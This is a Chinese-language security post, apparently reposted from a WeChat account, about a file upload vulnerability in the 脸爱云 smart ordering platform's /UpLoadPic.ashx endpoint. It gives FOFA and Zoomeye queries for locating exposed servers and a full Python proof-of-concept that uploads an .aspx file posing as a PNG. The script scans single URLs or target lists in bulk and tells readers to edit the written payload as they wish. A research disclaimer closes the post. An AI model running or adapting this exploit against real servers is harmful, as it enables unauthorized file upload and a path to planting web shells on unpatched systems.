0x01 工具介绍
脸爱云是一款智慧点餐管理平台,该平台 /UpLoadPic.ashx接口处存在文件上传漏洞。
0x02 安装与使用
一、资产测绘
FOFA:title=="欢迎使用脸爱云 一脸通智慧管理平台"
Zoomeye:title:"欢迎使用脸爱云 一脸通智慧管理平台"
二、参数使用
python -u http://target_ip/Login.aspx
python -f file.txt
三、使用原理
对指定ip上传post报文构造aspx文件,并通过脚本内response.write写入数据,如若想写入其他数据,请自行修改该行。如果上传成功,则返回存在漏洞,请自行进行后续测试。
四、使用结果
1. 命令输入
2. 后续验证
文件上传测试如下:
文件访问存在:
0x03 PoC
import requests import argparse def send_request(url): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36", "Accept": "*/*", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarywt7cEu1eBdibB13u", "X-Requested-With": "XMLHttpRequest" } data = """------WebKitFormBoundarywt7cEu1eBdibB13u Content-Disposition: form-data; name="action" post ------WebKitFormBoundarywt7cEu1eBdibB13u Content-Disposition: form-data; name="myPhoto"; filename="hard.aspx" Content-Type: image/png <% response.write("123") %> ------WebKitFormBoundarywt7cEu1eBdibB13u Content-Disposition: form-data; name="oldName" ------WebKitFormBoundarywt7cEu1eBdibB13u--""" response = requests.post(url, headers=headers, data=data) if response.status_code == 200: print(f"漏洞存在: {url},请进行后续测试") def process_url(url): print(f"发送请求至 {url}") send_request(url) def process_file(file_path): with open(file_path, "r") as file: for line in file: url = line.strip() if url: process_url(url) def main(): parser = argparse.ArgumentParser(description="发送报文到指定 IP 地址") group = parser.add_mutually_exclusive_group(required=True) group.add_argument("-u", "--url", help="指定单个 URL 发送报文") group.add_argument("-f", "--file", help="指定包含 IP 地址的文本文件发送报文") args = parser.parse_args() if args.url: process_url(args.url) elif args.file: process_file(args.file) if __name__ == "__main__": main()
原文始发于微信公众号(网络安全者):优卡特脸爱云管理系统存在文件上传漏洞(5月9日更新)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论